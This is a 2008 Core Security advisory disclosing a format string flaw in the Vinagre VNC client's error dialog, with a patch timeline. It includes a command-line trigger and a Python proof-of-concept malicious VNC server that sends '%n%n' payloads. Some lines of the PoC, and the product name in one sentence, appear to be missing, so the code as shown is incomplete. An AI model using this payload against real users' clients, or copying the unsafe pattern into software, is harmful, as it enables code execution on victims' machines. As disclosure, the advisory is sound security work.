Vinagre show_error() format string vulnerability

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Vinagre show_error() format string vulnerability

Advisory Information

Title: Vinagre show_error() format string vulnerability
Advisory ID: CORE-2008-1127
Advisory URL:
Date published: 2008-12-09
Date of last update: 2008-12-09
Vendors contacted: Vinagre team
Release mode: Coordinated release

Vulnerability Information

Class: Format string
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32682
CVE Name: N/A

Vulnerability Description

is a VNC client for the GNOME Desktop.
A format string error has been found on the vinagre_utils_show_error()
function that can be exploited via commands issued from a malicious
server containing format string specifiers on the VNC name.

In a web based attack scenario, the user would be required to connect to a
malicious server. Successful exploitation would then allow the attacker to execute arbitrary code
with the privileges of the Vinagre user.

Vulnerable packages

  • Vinagre 2.24.1 and previous versions

Non-vulnerable packages

  • Vinagre 2.24.2

Vendor Information, Solutions and Workarounds

The Vinagre team has released a fixed version, available at…


This vulnerability was discovered and researched by Alfredo Ortega
from Core Security Technologies.

Technical Description / Proof of Concept Code

The function vinagre_utils_show_error()
on src/vinagre-utils.c follows:

57  void
58  vinagre_utils_show_error (const gchar *message, GtkWindow *parent)
59  {
60    GtkWidget *d;
62    d = gtk_message_dialog_new (parent,
64              GTK_MESSAGE_ERROR,
65              GTK_BUTTONS_CLOSE,
66              message);

Here, the "message" string is the format specifier for the function
gtk_message_dialog_new(), but may be controlled
by the user in many ways. The simplest is the invocation of vinagre via
a command line, Ex.:

~$vinagre %n%n

But the vulnerability can also be triggered remotely via a malicious vnc server.

Proof Of Concept

The following python script implements a basic vnc server that
triggers the vulnerability:

## Gnome Vinagre format string PoC VNC SERVER

import socket
import struct

#create an INET, STREAMing socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#bind the socket to a public host, 
# and a well-known port
serversocket.bind(("", 5900))

#become a server socket

while 1:
  #accept connections from outside
  (clientsocket, address) = serversocket.accept()
  print "accept"

  # version handshake
  clientsocket.send("RFB 003.008\n")
  print resp

  # security types (none)	
  if resp=="\x01":
    print "security: none"
    clientsocket.send("\x00\x00\x00\x00") #OK
  else: exit(-1)

  # share desktop flag?

  #framebuffer parameters
  clientsocket.send("\x02\xd0\x01\x90\x20\x20\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x04%n%n") #OK


Report Timeline

  • 2008-12-01:
    Core Security Technologies notifies the Vinagre team of the vulnerability.
  • 2008-12-02:

    Vinagre team asks Core for a technical description
    of the vulnerability.
  • 2008-12-02:

    Technical details sent to Vinagre team by Core.
  • 2008-12-02:

    Vinagre team notifies Core this issue has been fixed in the
    development branch, and that a new version will be available soon.
  • 2008-12-05:

    Core asks Vinagre team if the new version is available.
  • 2008-12-05:

    Vinagre team releases the Vinagre 2.24.2 version, which fixes this issue.
  • 2008-12-09:

    The advisory CORE-2008-1127 is published.



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The contents of this advisory are copyright (c) 2008 Core Security Technologies and
(c) 2008 CoreLabs, and may be distributed freely provided
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